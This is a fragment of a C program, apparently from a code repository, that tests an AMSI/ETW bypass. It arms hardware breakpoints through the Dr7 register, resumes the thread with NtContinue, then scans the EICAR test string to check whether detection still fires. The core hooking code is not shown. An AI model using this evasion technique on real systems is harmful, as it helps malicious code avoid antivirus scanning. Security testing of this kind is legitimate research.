printf_s("\t[-] Failed to get address of NtContinue. Error: %lu\n", GetLastError());
|
||||
if (hAmsiDll) FreeLibrary(hAmsiDll);
|
||||
return 1;
|
||||
}
|
||||
printf_s("\t[+] NtContinue address: %p\n", (PVOID)pfnNtContinue);
|
||||
|
||||
printf_s("[*] Activate hardware breakpoints by setting Dr7\n");
|
||||
printf_s("\t[+] Dr7: %p\n", (PVOID)contextThread.Dr7);
|
||||
|
||||
printf_s("[*] Continue execution with NtContinue\n");
|
||||
NTSTATUS ntStatus = pfnNtContinue(&contextThread, FALSE);
|
||||
if (ntStatus != 0) {
|
||||
printf_s("\t[-] NtContinue failed with status: 0x%08X\n", ntStatus);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf_s("[*] No bypass selected. Running simulation in standard mode.\n");
|
||||
}
|
||||
|
||||
printf_s("[*] Simulate ETW and AMSI activity by calling AmsiScanBuffer\n");
|
||||
HAMSICONTEXT hAmsiContext;
|
||||
AMSI_RESULT amsiResult;
|
||||
if (SUCCEEDED(AmsiInitialize(L"TestApp", &hAmsiContext))) {
|
||||
LPCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
|
||||
HRESULT hr = AmsiScanBuffer(hAmsiContext, (PVOID)szEicar, (ULONG)strlen(szEicar), L"Test", NULL, &amsiResult);
|
||||
|
||||
if (SUCCEEDED(hr)) {
|
||||
printf_s("\t[+] AMSI result: 0x%08X (%s)\n", (DWORD)amsiResult, GetAmsiResultString(amsiResult));
|
||||
}
|
||||
else {
|
||||
printf_s("\t[-] AmsiScanBuffer failed with HRESULT: 0x%08X\n", hr);
|
||||
}
|
||||
AmsiUninitialize(hAmsiContext);
|
||||
}
|
||||
|
||||
if (hAmsiDll) FreeLibrary(hAmsiDll);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user